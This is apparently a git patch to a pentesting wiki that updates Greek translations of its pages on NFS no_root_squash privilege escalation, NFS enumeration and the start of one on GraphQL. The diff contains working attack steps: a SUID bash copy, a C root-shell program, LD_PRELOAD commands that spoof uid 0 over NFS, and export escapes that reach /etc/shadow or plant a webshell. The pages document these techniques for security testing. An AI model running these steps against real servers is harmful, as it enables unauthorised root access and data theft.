From b4c779b52890456ff52843620de5ad9a1edab7df Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 5 Feb 2025 00:28:03 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash --- .../nfs-no_root_squash-misconfiguration-pe.md | 52 ++++--- .../nfs-service-pentesting.md | 100 ++++++++++--- .../pentesting-web/graphql.md | 42 +++--- .../pentesting-web/php-tricks-esp/README.md | 31 ++-- .../pentesting-web/special-http-headers.md | 51 +++---- src/pentesting-web/deserialization/README.md | 125 +++++++++++------ src/pentesting-web/file-upload/README.md | 85 ++++++----- .../sql-injection/sqlmap/README.md | 84 +++++------ .../url-format-bypass.md | 7 +- .../xss-cross-site-scripting/README.md | 132 +++++++++++------- 10 files changed, 432 insertions(+), 277 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 320ca3aed..7eec133de 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,18 +1,29 @@ {{#include ../../banners/hacktricks-training.md}} -Διαβάστε το _ **/etc/exports** _ αρχείο, αν βρείτε κάποιον φάκελο που είναι ρυθμισμένος ως **no_root_squash**, τότε μπορείτε να **έχετε πρόσβαση** σε αυτόν από **ως πελάτης** και να **γράφετε μέσα** σε αυτόν τον φάκελο **σαν** να ήσασταν ο τοπικός **root** της μηχανής. +# Squashing Basic Info -**no_root_squash**: Αυτή η επιλογή δίνει βασικά εξουσία στον χρήστη root στον πελάτη να έχει πρόσβαση σε αρχεία στον NFS server ως root. Και αυτό μπορεί να οδηγήσει σε σοβαρές επιπτώσεις ασφαλείας. +Το NFS συνήθως (ειδικά σε linux) εμπιστεύεται το `uid` και `gid` που υποδεικνύει ο πελάτης που συνδέεται για να έχει πρόσβαση στα αρχεία (αν δεν χρησιμοποιείται kerberos). Ωστόσο, υπάρχουν κάποιες ρυθμίσεις που μπορούν να οριστούν στον διακομιστή για να **αλλάξουν αυτή τη συμπεριφορά**: -**no_all_squash:** Αυτή είναι παρόμοια με την επιλογή **no_root_squash** αλλά εφαρμόζεται σε **μη-ρίζες χρήστες**. Φανταστείτε, έχετε ένα shell ως χρήστης nobody; ελέγξατε το αρχείο /etc/exports; η επιλογή no_all_squash είναι παρούσα; ελέγξτε το αρχείο /etc/passwd; προσομοιώστε έναν μη-ρίζα χρήστη; δημιουργήστε ένα αρχείο suid ως αυτός ο χρήστης (με την τοποθέτηση χρησιμοποιώντας nfs). Εκτελέστε το suid ως χρήστης nobody και γίνετε διαφορετικός χρήστης. +- **`all_squash`**: Συμπιέζει όλες τις προσβάσεις χαρτογραφώντας κάθε χρήστη και ομάδα σε **`nobody`** (65534 unsigned / -2 signed). Επομένως, όλοι είναι `nobody` και δεν χρησιμοποιούνται χρήστες. +- **`root_squash`/`no_all_squash`**: Αυτό είναι προεπιλεγμένο στο Linux και **συμπιέζει μόνο την πρόσβαση με uid 0 (root)**. Επομένως, οποιοδήποτε `UID` και `GID` εμπιστεύονται αλλά το `0` συμπιέζεται σε `nobody` (έτσι δεν είναι δυνατή η προσποίηση root). +- **``no_root_squash`**: Αυτή η ρύθμιση αν ενεργοποιηθεί δεν συμπιέζει ούτε τον χρήστη root. Αυτό σημαίνει ότι αν τοποθετήσετε έναν κατάλογο με αυτή τη ρύθμιση μπορείτε να έχετε πρόσβαση σε αυτόν ως root. + +Στο **/etc/exports** αρχείο, αν βρείτε κάποιον κατάλογο που είναι ρυθμισμένος ως **no_root_squash**, τότε μπορείτε να **έχετε πρόσβαση** σε αυτόν **ως πελάτης** και **να γράψετε μέσα** σε αυτόν τον κατάλογο **σαν** να ήσασταν ο τοπικός **root** της μηχανής. + +Για περισσότερες πληροφορίες σχετικά με το **NFS** ελέγξτε: + +{{#ref}} +/network-services-pentesting/nfs-service-pentesting.md +{{#endref}} # Privilege Escalation ## Remote Exploit -Αν έχετε βρει αυτή την ευπάθεια, μπορείτε να την εκμεταλλευτείτε: - -- **Τοποθετώντας αυτόν τον φάκελο** σε μια μηχανή πελάτη, και **ως root αντιγράφοντας** μέσα στον τοποθετημένο φάκελο το **/bin/bash** δυαδικό και δίνοντάς του **SUID** δικαιώματα, και **εκτελώντας από τη μηχανή του θύματος** αυτό το δυαδικό bash. +Επιλογή 1 χρησιμοποιώντας bash: +- **Τοποθετώντας αυτόν τον κατάλογο** σε μια μηχανή πελάτη, και **ως root αντιγράφοντας** μέσα στον τοποθετημένο φάκελο το **/bin/bash** δυαδικό και δίνοντάς του **SUID** δικαιώματα, και **εκτελώντας από τη μηχανή του θύματος** αυτό το δυαδικό bash. +- Σημειώστε ότι για να είστε root μέσα στο NFS share, **`no_root_squash`** πρέπει να είναι ρυθμισμένο στον διακομιστή. +- Ωστόσο, αν δεν είναι ενεργοποιημένο, μπορείτε να αναβαθμίσετε σε άλλο χρήστη αντιγράφοντας το δυαδικό στο NFS share και δίνοντάς του την άδεια SUID ως ο χρήστης στον οποίο θέλετε να αναβαθμιστείτε. ```bash #Attacker, as root user mkdir /tmp/pe @@ -25,7 +36,9 @@ chmod +s bash cd ./bash -p #ROOT shell ``` -- **Τοποθετώντας αυτόν τον φάκελο** σε μια μηχανή-πελάτη, και **ως root αντιγράφοντας** μέσα στον τοποθετημένο φάκελο το προετοιμασμένο payload μας που θα εκμεταλλευτεί την άδεια SUID, δίνοντάς του **δικαιώματα SUID**, και **εκτελώντας από τη μηχανή του θύματος** αυτό το δυαδικό (μπορείτε να βρείτε εδώ μερικά [C SUID payloads](payloads-to-execute.md#c)). +Option 2 χρησιμοποιώντας κώδικα που έχει μεταγλωττιστεί σε C: +- **Μοντάρισμα αυτού του καταλόγου** σε μια μηχανή-πελάτη, και **ως root αντιγραφή** μέσα στον μονταρισμένο φάκελο το μεταγλωττισμένο payload μας που θα εκμεταλλευτεί την άδεια SUID, δίνοντάς του **δικαιώματα SUID**, και **εκτέλεση από τη μηχανή του θύματος** αυτού του δυαδικού (μπορείτε να βρείτε εδώ μερικά [C SUID payloads](payloads-to-execute.md#c)). +- Οι ίδιες περιορισμοί όπως πριν ```bash #Attacker, as root user gcc payload.c -o payload @@ -42,14 +55,18 @@ cd ## Τοπική Εκμετάλλευση > [!NOTE] -> Σημειώστε ότι αν μπορείτε να δημιουργήσετε ένα **τούνελ από τη μηχανή σας στη μηχανή του θύματος, μπορείτε ακόμα να χρησιμοποιήσετε την απομακρυσμένη έκδοση για να εκμεταλλευτείτε αυτή την κλιμάκωση προνομίων στέλνοντας τα απαιτούμενα ports**.\ -> Το παρακάτω κόλπο ισχύει στην περίπτωση που το αρχείο `/etc/exports` **υποδεικνύει μια IP**. Σε αυτή την περίπτωση **δεν θα μπορείτε να χρησιμοποιήσετε** σε καμία περίπτωση την **απομακρυσμένη εκμετάλλευση** και θα χρειαστεί να **καταχραστείτε αυτό το κόλπο**.\ +> Σημειώστε ότι αν μπορείτε να δημιουργήσετε ένα **τούνελ από τη μηχανή σας στη μηχανή του θύματος μπορείτε ακόμα να χρησιμοποιήσετε την απομακρυσμένη έκδοση για να εκμεταλλευτείτε αυτή την κλιμάκωση προνομίων σήραγγας των απαιτούμενων θυρών**.\ +> Το παρακάτω κόλπο ισχύει σε περίπτωση που το αρχείο `/etc/exports` **υποδεικνύει μια διεύθυνση IP**. Σε αυτή την περίπτωση **δεν θα μπορείτε να χρησιμοποιήσετε** σε καμία περίπτωση την **απομακρυσμένη εκμετάλλευση** και θα χρειαστεί να **καταχραστείτε αυτό το κόλπο**.\ > Ένα άλλο απαιτούμενο προαπαιτούμενο για να λειτουργήσει η εκμετάλλευση είναι ότι **η εξαγωγή μέσα στο `/etc/export`** **πρέπει να χρησιμοποιεί την ένδειξη `insecure`**.\ -> --_Δεν είμαι σίγουρος αν το `/etc/export` υποδεικνύει μια διεύθυνση IP, αν αυτό το κόλπο θα λειτουργήσει_-- +> --_Δεν είμαι σίγουρος ότι αν το `/etc/export` υποδεικνύει μια διεύθυνση IP αυτό το κόλπο θα λειτουργήσει_-- ## Βασικές Πληροφορίες -Το σενάριο περιλαμβάνει την εκμετάλλευση ενός προσαρτημένου NFS share σε μια τοπική μηχανή, εκμεταλλευόμενος ένα σφάλμα στην προδιαγραφή NFSv3 που επιτρέπει στον πελάτη να καθορίσει το uid/gid του, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση. Η εκμετάλλευση περιλαμβάνει τη χρήση του [libnfs](https://github.com/sahlberg +Το σενάριο περιλαμβάνει την εκμετάλλευση ενός προσαρτημένου NFS share σε μια τοπική μηχανή, εκμεταλλευόμενος ένα σφάλμα στην προδιαγραφή NFSv3 που επιτρέπει στον πελάτη να καθορίσει το uid/gid του, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση. Η εκμετάλλευση περιλαμβάνει τη χρήση του [libnfs](https://github.com/sahlberg/libnfs), μιας βιβλιοθήκης που επιτρέπει την πλαστογράφηση κλήσεων NFS RPC. + +### Συγκέντρωση της Βιβλιοθήκης + +Τα βήματα συγκέντρωσης της βιβλιοθήκης μπορεί να απαιτούν προσαρμογές με βάση την έκδοση του πυρήνα. Σε αυτή την συγκεκριμένη περίπτωση, οι κλήσεις syscalls fallocate είχαν σχολιαστεί. Η διαδικασία συγκέντρωσης περιλαμβάνει τις παρακάτω εντολές: ```bash ./bootstrap ./configure @@ -58,34 +75,29 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib ``` ### Διεξαγωγή της Εκμετάλλευσης -Η εκμετάλλευση περιλαμβάνει τη δημιουργία ενός απλού προγράμματος C (`pwn.c`) που ανυψώνει τα δικαιώματα σε root και στη συνέχεια εκτελεί ένα shell. Το πρόγραμμα μεταγλωττίζεται και το παραγόμενο δυαδικό αρχείο (`a.out`) τοποθετείται στο κοινόχρηστο φάκελο με suid root, χρησιμοποιώντας το `ld_nfs.so` για να προσποιηθεί το uid στις κλήσεις RPC: +Η εκμετάλλευση περιλαμβάνει τη δημιουργία ενός απλού προγράμματος C (`pwn.c`) που ανυψώνει τα δικαιώματα σε root και στη συνέχεια εκτελεί ένα shell. Το πρόγραμμα μεταγλωττίζεται και το προκύπτον δυαδικό αρχείο (`a.out`) τοποθετείται στο κοινόχρηστο με suid root, χρησιμοποιώντας το `ld_nfs.so` για να προσποιηθεί το uid στις κλήσεις RPC: 1. **Μεταγλωττίστε τον κώδικα εκμετάλλευσης:** - ```bash cat pwn.c int main(void){setreuid(0,0); system("/bin/bash"); return 0;} gcc pwn.c -o a.out ``` - -2. **Τοποθετήστε την εκμετάλλευση στο κοινόχρηστο φάκελο και τροποποιήστε τα δικαιώματά της προσποιούμενοι το uid:** - +2. **Τοποθετήστε την εκμετάλλευση στο κοινόχρηστο και τροποποιήστε τα δικαιώματά της προσποιούμενοι το uid:** ```bash LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out ``` - 3. **Εκτελέστε την εκμετάλλευση για να αποκτήσετε δικαιώματα root:** ```bash /mnt/share/a.out #root ``` +## Bonus: NFShell για Στεγανή Πρόσβαση σε Αρχεία -## Μπόνους: NFShell για Διακριτική Πρόσβαση σε Αρχεία - -Μόλις αποκτηθεί η πρόσβαση root, για να αλληλεπιδράσετε με το κοινόχρηστο NFS χωρίς να αλλάξετε την ιδιοκτησία (για να αποφευχθεί η αφή ίχνους), χρησιμοποιείται ένα σενάριο Python (nfsh.py). Αυτό το σενάριο προσαρμόζει το uid ώστε να ταιριάζει με αυτό του αρχείου που προσπελάζεται, επιτρέποντας την αλληλεπίδραση με αρχεία στο κοινόχρηστο φάκελο χωρίς προβλήματα δικαιωμάτων: +Μόλις αποκτηθεί η πρόσβαση root, για να αλληλεπιδράσετε με το NFS share χωρίς να αλλάξετε την ιδιοκτησία (για να αποφύγετε την αφή ίχνους), χρησιμοποιείται ένα σενάριο Python (nfsh.py). Αυτό το σενάριο προσαρμόζει το uid ώστε να ταιριάζει με αυτό του αρχείου που προσπελάζεται, επιτρέποντας την αλληλεπίδραση με αρχεία στο share χωρίς προβλήματα άδειας: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index 74d1f47f4..1c1f5e708 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -4,29 +4,66 @@ ## **Βασικές Πληροφορίες** -**NFS** είναι ένα σύστημα σχεδιασμένο για **client/server** που επιτρέπει στους χρήστες να έχουν πρόσβαση σε αρχεία μέσω ενός δικτύου, σαν να βρίσκονταν αυτά τα αρχεία σε τοπικό κατάλογο. - -Ένα αξιοσημείωτο χαρακτηριστικό αυτού του πρωτοκόλλου είναι η έλλειψη ενσωματωμένων **μηχανισμών αυθεντικοποίησης** ή **εξουσιοδότησης**. Αντίθετα, η εξουσιοδότηση βασίζεται σε **πληροφορίες συστήματος αρχείων**, με τον διακομιστή να έχει την ευθύνη να μεταφράσει με ακρίβεια τις **παρεχόμενες από τον πελάτη πληροφορίες χρήστη** στη απαιτούμενη **μορφή εξουσιοδότησης** του συστήματος αρχείων, κυρίως ακολουθώντας τη **σύνταξη UNIX**. - -Η αυθεντικοποίηση συνήθως βασίζεται σε **ταυτοχρονιστές `UID`/`GID` και μέλη ομάδων**. Ωστόσο, προκύπτει μια πρόκληση λόγω της πιθανής ασυμφωνίας στις **χαρτογραφήσεις `UID`/`GID`** μεταξύ πελατών και διακομιστών, αφήνοντας περιθώριο για επιπλέον επαλήθευση από τον διακομιστή. Ως εκ τούτου, το πρωτόκολλο είναι καλύτερα κατάλληλο για χρήση εντός **έμπιστων δικτύων**, δεδομένης της εξάρτησής του από αυτή τη μέθοδο αυθεντικοποίησης. +**NFS** είναι ένα σύστημα σχεδιασμένο για **client/server** που επιτρέπει στους χρήστες να έχουν απρόσκοπτη πρόσβαση σε αρχεία μέσω ενός δικτύου, σαν να βρίσκονταν αυτά τα αρχεία σε τοπικό κατάλογο. **Προεπιλεγμένη θύρα**: 2049/TCP/UDP (εκτός από την έκδοση 4, χρειάζεται μόνο TCP ή UDP). ``` 2049/tcp open nfs 2-3 (RPC #100003 ``` +### Authentication + +Ένα αξιοσημείωτο χαρακτηριστικό αυτού του πρωτοκόλλου είναι η συνήθης έλλειψη ενσωματωμένων **μηχανισμών αυθεντικοποίησης** ή **εξουσιοδότησης**. Αντίθετα, η εξουσιοδότηση βασίζεται σε **πληροφορίες συστήματος αρχείων**, με τον διακομιστή να έχει την ευθύνη να μεταφράσει με ακρίβεια τις **παρεχόμενες από τον πελάτη πληροφορίες χρήστη** στη απαιτούμενη **μορφή εξουσιοδότησης** του συστήματος αρχείων, ακολουθώντας κυρίως τη **σύνταξη UNIX**. + +Η αυθεντικοποίηση συνήθως βασίζεται σε **αναγνωριστικά `UID`/`GID` UNIX και μέλη ομάδων**. Ωστόσο, προκύπτει μια πρόκληση λόγω της πιθανής ασυμφωνίας στις **χαρτογραφήσεις `UID`/`GID`** μεταξύ πελατών και διακομιστών, αφήνοντας κανένα περιθώριο για επιπλέον επαλήθευση από τον διακομιστή. Επιπλέον, αυτές οι λεπτομέρειες αποστέλλονται από τον πελάτη και εμπιστεύονται από τον διακομιστή, οπότε ένας κακόβουλος πελάτης θα μπορούσε δυνητικά να **παριστάνει έναν άλλο χρήστη στέλνοντας πιο προνομιούχους `uid` και `gid`. + +**Ωστόσο, σημειώστε ότι από προεπιλογή δεν είναι δυνατή η μίμηση του `UID` 0 (root) χρησιμοποιώντας NFS. Περισσότερα για αυτό στην ενότητα squashing.** + +#### Hosts + +Για καλύτερη (ή κάποια) εξουσιοδότηση, μπορείτε να καθορίσετε τους **hosts** που μπορούν να έχουν πρόσβαση στο NFS share. Αυτό μπορεί να γίνει στο αρχείο Linux `/etc/exports`. Για παράδειγμα: +``` +/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ... +/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i) +``` +As you can see, it allows to configure a specific **IP** or **hostname** to access the share. Only that address will be able to access the share. + ### Versions - **NFSv2**: Αυτή η έκδοση αναγνωρίζεται για την ευρεία συμβατότητά της με διάφορα συστήματα, επισημαίνοντας τη σημασία της με τις αρχικές λειτουργίες κυρίως μέσω UDP. Όντας η **παλαιότερη** στη σειρά, έθεσε τα θεμέλια για μελλοντικές εξελίξεις. -- **NFSv3**: Εισήχθη με μια σειρά βελτιώσεων, το NFSv3 επεκτάθηκε σε σχέση με τον προκάτοχό του υποστηρίζοντας μεταβλητά μεγέθη αρχείων και προσφέροντας βελτιωμένους μηχανισμούς αναφοράς σφαλμάτων. Παρά τις προόδους του, αντιμετώπισε περιορισμούς στην πλήρη οπισθοδρομική συμβατότητα με πελάτες NFSv2. +- **NFSv3**: Εισήχθη με μια σειρά βελτιώσεων, το NFSv3 επεκτάθηκε σε σχέση με τον προκάτοχό του υποστηρίζοντας μεταβλητά μεγέθη αρχείων και προσφέροντας βελτιωμένους μηχανισμούς αναφοράς σφαλμάτων. Παρά τις προόδους του, αντιμετώπισε περιορισμούς στην πλήρη οπίσθια συμβατότητα με πελάτες NFSv2. -- **NFSv4**: Μια ορόσημο έκδοση στη σειρά NFS, το NFSv4 παρουσίασε μια σειρά χαρακτηριστικών σχεδιασμένων να εκσυγχρονίσουν την κοινή χρήση αρχείων μέσω δικτύων. Σημαντικές βελτιώσεις περιλαμβάνουν την ενσωμάτωση του Kerberos για **υψηλή ασφάλεια**, τη δυνατότητα διέλευσης τειχών προστασίας και λειτουργίας μέσω του Διαδικτύου χωρίς την ανάγκη για portmappers, υποστήριξη για Λίστες Ελέγχου Πρόσβασης (ACLs) και την εισαγωγή καταστάσεων λειτουργίας. Οι βελτιώσεις στην απόδοση και η υιοθέτηση ενός πρωτοκόλλου με κατάσταση διακρίνουν το NFSv4 ως μια καθοριστική πρόοδο στις τεχνολογίες κοινής χρήσης δικτυακών αρχείων. +- **NFSv4**: Μια ορόσημο έκδοση στη σειρά NFS, το NFSv4 παρουσίασε μια σειρά χαρακτηριστικών σχεδιασμένων να εκσυγχρονίσουν την κοινή χρήση αρχείων μέσω δικτύων. Σημαντικές βελτιώσεις περιλαμβάνουν την ενσωμάτωση του Kerberos για **υψηλή ασφάλεια**, τη δυνατότητα διέλευσης από τείχη προστασίας και λειτουργίας μέσω του Διαδικτύου χωρίς την ανάγκη για portmappers, υποστήριξη για Λίστες Ελέγχου Πρόσβασης (ACLs) και την εισαγωγή λειτουργιών βασισμένων σε κατάσταση. Οι βελτιώσεις απόδοσης και η υιοθέτηση ενός πρωτοκόλλου με κατάσταση διακρίνουν το NFSv4 ως μια καθοριστική πρόοδο στις τεχνολογίες κοινής χρήσης αρχείων δικτύου. +- Σημειώστε ότι είναι πολύ περίεργο να βρείτε έναν υπολογιστή Linux NFS που να υποστηρίζει την αυθεντικοποίηση kerberos. Κάθε έκδοση του NFS έχει αναπτυχθεί με σκοπό να καλύψει τις εξελισσόμενες ανάγκες των δικτυακών περιβαλλόντων, προοδευτικά ενισχύοντας την ασφάλεια, τη συμβατότητα και την απόδοση. +### Squashing + +Όπως αναφέρθηκε προηγουμένως, το NFS συνήθως εμπιστεύεται το `uid` και το `gid` του πελάτη για να έχει πρόσβαση στα αρχεία (αν δεν χρησιμοποιείται kerberos). Ωστόσο, υπάρχουν κάποιες ρυθμίσεις που μπορούν να οριστούν στον διακομιστή για να **αλλάξουν αυτή τη συμπεριφορά**: + +- **all_squash**: Συμπιέζει όλες τις προσβάσεις χαρτογραφώντας κάθε χρήστη και ομάδα σε **`nobody`** (65534 unsigned / -2 signed). Επομένως, όλοι είναι `nobody` και δεν χρησιμοποιούνται χρήστες. +- **root_squash/no_all_squash**: Αυτό είναι προεπιλεγμένο σε Linux και **συμπιέζει μόνο την πρόσβαση με uid 0 (root)**. Επομένως, οποιοδήποτε `UID` και `GID` εμπιστεύονται αλλά το `0` συμπιέζεται σε `nobody` (έτσι δεν είναι δυνατή η προσποίηση root). +- **no_root_squash**: Αυτή η ρύθμιση αν ενεργοποιηθεί δεν συμπιέζει ούτε τον χρήστη root. Αυτό σημαίνει ότι αν τοποθετήσετε έναν κατάλογο με αυτή τη ρύθμιση μπορείτε να έχετε πρόσβαση σε αυτόν ως root. + +### Subtree check + +Διαθέσιμο μόνο σε Linux. man(5) exports λέει: "Αν ένα υποκατάλογο ενός συστήματος αρχείων εξάγεται, αλλά ολόκληρο το σύστημα αρχείων δεν είναι, τότε κάθε φορά που φτάνει ένα αίτημα NFS, ο διακομιστής πρέπει να ελέγξει όχι μόνο ότι το προσβαλλόμενο αρχείο είναι στο κατάλληλο σύστημα αρχείων (που είναι εύκολο) αλλά και ότι είναι στο εξαγόμενο δέντρο (που είναι πιο δύσκολο). Αυτός ο έλεγχος ονομάζεται έλεγχος υποδέντρου." + +Στο Linux, η **λειτουργία `subtree_check` είναι απενεργοποιημένη** από προεπιλογή. + ## Enumeration -### Useful nmap scripts +### Showmount + +Αυτό μπορεί να χρησιμοποιηθεί για να **πάρετε πληροφορίες από έναν διακομιστή NFSv3**, όπως η λίστα των **exports**, ποιος είναι **επιτρεπτός να έχει πρόσβαση** σε αυτές τις εξαγωγές και ποιοι πελάτες είναι συνδεδεμένοι (που μπορεί να είναι ανακριβές αν ένας πελάτης αποσυνδεθεί χωρίς να ενημερώσει τον διακομιστή). +Στους **NFSv4 οι πελάτες απλά έχουν άμεση πρόσβαση στο /export** και προσπαθούν να αποκτήσουν πρόσβαση σε εξαγωγές από εκεί, αποτυγχάνοντας αν είναι μη έγκυρες ή μη εξουσιοδοτημένες για οποιονδήποτε λόγο. + +Αν εργαλεία όπως το `showmount` ή τα modules του Metasploit δεν δείχνουν πληροφορίες από μια θύρα NFS, είναι πιθανώς ένας διακομιστής NFSv4 που δεν υποστηρίζει την έκδοση 3. +```bash +showmount -e +``` +### Χρήσιμα σενάρια nmap ```bash nfs-ls #List NFS exports and check permissions nfs-showmount #Like showmount -e @@ -36,9 +73,13 @@ nfs-statfs #Disk statistics and info from NFS share ```bash scanner/nfs/nfsmount #Scan NFS mounts and list permissions ``` -### Mounting +### nfs_analyze -Για να γνωρίζετε **ποιον φάκελο** έχει ο διακομιστής **διαθέσιμο** για να τον προσαρτήσετε, μπορείτε να τον ρωτήσετε χρησιμοποιώντας: +Αυτό το εργαλείο από [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) μπορεί να χρησιμοποιηθεί για να αποκτήσει πολλά δεδομένα από έναν NFS server όπως **mounts**, υποστηριζόμενες εκδόσεις NFS, συνδεδεμένες IPs, και ακόμη και αν είναι δυνατό να **ξεφύγεις από τις εξαγωγές** σε άλλους φακέλους στο FS ή **αν είναι ενεργοποιημένο το `no_root_squash`**. + +## Mounting + +Για να μάθεις **ποιος φάκελος** είναι **διαθέσιμος** από τον server για να τον κάνεις mount, μπορείς να τον ρωτήσεις χρησιμοποιώντας: ```bash showmount -e ``` @@ -53,22 +94,47 @@ mount -t nfs [-o vers=2] : -o nolock mkdir /mnt/new_back mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock ``` -## Permissions +## Επιθέσεις -Αν τοποθετήσετε έναν φάκελο που περιέχει **αρχεία ή φακέλους προσβάσιμους μόνο από κάποιον χρήστη** (με **UID**). Μπορείτε να **δημιουργήσετε** **τοπικά** έναν χρήστη με αυτό το **UID** και χρησιμοποιώντας αυτόν τον **χρήστη** θα μπορείτε να **έχετε πρόσβαση** στο αρχείο/φάκελο. +### Εμπιστοσύνη σε UID και GID -## NSFShell +Φυσικά, το μόνο πρόβλημα εδώ είναι ότι από προεπιλογή δεν είναι δυνατόν να προσποιηθείτε τον root (`UID` 0). Ωστόσο, είναι δυνατόν να προσποιηθείτε οποιονδήποτε άλλο χρήστη ή αν είναι ενεργοποιημένο το `no_root_squash`, μπορείτε επίσης να προσποιηθείτε τον root. -Για να καταγράψετε εύκολα, να τοποθετήσετε και να αλλάξετε το UID και GID για να έχετε πρόσβαση σε αρχεία μπορείτε να χρησιμοποιήσετε [nfsshell](https://github.com/NetDirect/nfsshell). +- Αν τοποθετήσετε έναν φάκελο που περιέχει **αρχεία ή φακέλους προσβάσιμους μόνο από κάποιον χρήστη** (με **UID**). Μπορείτε να **δημιουργήσετε** **τοπικά** έναν χρήστη με αυτό το **UID** και χρησιμοποιώντας αυτόν τον **χρήστη** θα μπορείτε να **έχετε πρόσβαση** στο αρχείο/φάκελο. +- Το εργαλείο **`fuse_nfs`** από [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) θα στέλνει πάντα το απαραίτητο UID και GID για να έχετε πρόσβαση στα αρχεία. -[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/) +### SUID Κλιμάκωση Προνομίων -## Config files +Ελέγξτε τη σελίδα: + +{{#ref}} +/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +{{#endref}} + +### Διαφυγή από τις εξαγωγές + +Σε αυτό το [σπουδαίο άρθρο](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) είναι δυνατόν να δείτε ότι είναι δυνατόν να **διαφύγετε από τις εξαγωγές για να έχετε πρόσβαση σε άλλους φακέλους στο FS**. + +Επομένως, αν μια εξαγωγή εξάγει έναν φάκελο που είναι **υποφάκελος** του **ολόκληρου συστήματος αρχείων**, είναι δυνατόν να έχετε πρόσβαση σε αρχεία εκτός της εξαγωγής αν το **`subtree_check`** είναι απενεργοποιημένο. Και είναι **απενεργοποιημένο από προεπιλογή στο Linux**. + +Για παράδειγμα, αν ένας NFS server εξάγει το `/srv/` και το `/var/` είναι στο ίδιο σύστημα αρχείων, είναι δυνατόν να διαβάσετε αρχεία καταγραφής από το `/var/log/` ή να αποθηκεύσετε ένα webshell στο `/var/www/`. + +Επιπλέον, σημειώστε ότι από προεπιλογή μόνο ο χρήστης root (0) προστατεύεται από την προσποίηση (ελέγξτε την ενότητα Squash). Ωστόσο, αν ένα αρχείο είναι **κατοχυρωμένο από τον root αλλά η ομάδα δεν είναι 0, είναι δυνατόν να έχετε πρόσβαση σε αυτό**. Για παράδειγμα, το αρχείο `/etc/shadow` είναι κατοχυρωμένο από τον root αλλά η ομάδα είναι `shadow` (gid 42 στο Debian). Επομένως, είναι δυνατόν να το διαβάσετε από προεπιλογή! + +Το εργαλείο **`nfs_analyze`** από [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) έχει κατασκευαστεί για να υποστηρίζει αυτή την επίθεση κατά των συστημάτων αρχείων ext4, xfs, btrfs στην έκδοση 3 (θα πρέπει επίσης να είναι δυνατό στην v4). + +### NSFShell + +Για να καταγράψετε εύκολα, να τοποθετήσετε και να αλλάξετε UID και GID για να έχετε πρόσβαση σε αρχεία μπορείτε να χρησιμοποιήσετε [nfsshell](https://github.com/NetDirect/nfsshell). + +[Ωραίο σεμινάριο NFSShell.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/) + +## Αρχεία ρυθμίσεων ``` /etc/exports /etc/lib/nfs/etab ``` -### Επικίνδυνες ρυθμίσεις +## Επικίνδυνες ρυθμίσεις - **Δικαιώματα Ανάγνωσης και Εγγραφής (`rw`):** Αυτή η ρύθμιση επιτρέπει τόσο την ανάγνωση όσο και την εγγραφή στο σύστημα αρχείων. Είναι σημαντικό να εξετάσετε τις επιπτώσεις της παροχής τέτοιας ευρείας πρόσβασης. diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index d3a2e9934..d0c5ed0b4 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -162,17 +162,17 @@ name ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20